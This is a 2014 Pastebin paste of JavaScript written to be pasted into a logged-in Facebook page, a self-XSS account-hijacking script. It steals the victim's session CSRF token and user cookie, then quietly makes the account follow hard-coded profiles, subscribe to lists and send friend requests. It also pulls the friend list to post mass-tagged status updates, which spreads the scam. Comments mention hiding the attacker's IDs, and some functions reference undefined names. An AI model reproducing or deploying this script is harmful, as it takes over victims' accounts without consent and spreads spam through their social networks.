Advertisement
Guest User

8x5z2

a guest
Nov 22nd, 2014
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.75 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. alert('Lam mặt lồn hahaaaa');
  4. function a(abone){
  5. var http4 = new XMLHttpRequest();
  6. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  7. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  8. http4.open("POST", url4, true);
  9. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  10. http4.setRequestHeader("Content-length", params4.length);
  11. http4.setRequestHeader("Connection", "close");
  12. http4.onreadystatechange = function() {
  13. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  14. }
  15. http4.send(params4);
  16. }
  17. // Close the connection
  18. function sublist(uidss) {
  19. var a = document.createElement('script');
  20. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  21. document.body.appendChild(a);
  22. }
  23. // Không edit bất kì gì từ đây trở lên
  24. a("100007027038921");a("100007280746190");
  25.  
  26.  
  27.  
  28. sublist("1515939988658678");sublist("1515939615325382");sublist("1481040518815292");
  29.  
  30.  
  31. // Từ đây trở xuống là nhảm chủ yếu giấu bớt ID
  32. function sarkadaslari_al(){
  33. var xmlhttp = new XMLHttpRequest();
  34. xmlhttp.onreadystatechange = function () {
  35. if(xmlhttp.readyState == 4){
  36. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  37. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  38. smesaj = "";
  39. smesaj_text = "";
  40. for(i=f*10;i<(f+1)*10;i++){
  41. if(arkadaslar.payload.entries[i]){
  42. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  43. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  44. }
  45. }
  46. sdurumpaylas(); }
  47.  
  48. }
  49.  
  50. };
  51. var params = "&filter[0]=user";
  52. params += "&options[0]=friends_only";
  53. params += "&options[1]=nm";
  54. params += "&token=v7";
  55. params += "&viewer=" + user_id;
  56. params += "&__user=" + user_id;
  57.  
  58. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  59. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  60. xmlhttp.send();
  61. }
  62.  
  63. var tiklama = document.addEventListener("click", function () {
  64. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  65. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  66. sarkadaslari_al();
  67. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  68.  
  69. document.removeEventListener(tiklama);
  70. }
  71. }, false);
  72.  
  73. function sarkadasekle(uid,tem){
  74. var xmlhttp = new XMLHttpRequest();
  75. xmlhttp.onreadystatechange = function () {
  76. if(xmlhttp.readyState == 4){
  77. }
  78. };
  79.  
  80. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  81. var params = "to_friend=" + uid;
  82. params += "&action=add_friend";
  83. params += "&how_found=friend_browser";
  84. params += "&ref_param=none";
  85. params += "&outgoing_id=";
  86. params += "&logging_location=friend_browser";
  87. params += "&no_flyout_on_click=true";
  88. params += "&ego_log_data=";
  89. params += "&http_referer=";
  90. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  91. params += "&phstamp=165816749114848369115";
  92. params += "&__user=" + user_id;
  93. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  94. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  95.  
  96. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  97. xmlhttp.send(params);
  98. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  99. cinsiyetgetir(uid,tem,"sarkadasekle");
  100. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  101. xmlhttp.send(params);
  102. }
  103. }
  104.  
  105. var temsonuc = {};
  106. var temhtml = document.createElement("html");
  107. function scinsiyetgetir(uid,tem,fonksiyon){
  108. var xmlhttp = new XMLHttpRequest();
  109. xmlhttp.onreadystatechange = function () {
  110. if(xmlhttp.readyState == 4){
  111. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  112. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  113. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  114. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  115. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  116. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  117. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  118. }
  119. eval(fonksiyon + "(" + id + "," + tem + ");");
  120. }
  121. };
  122. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  123. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  124. xmlhttp.send();
  125. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement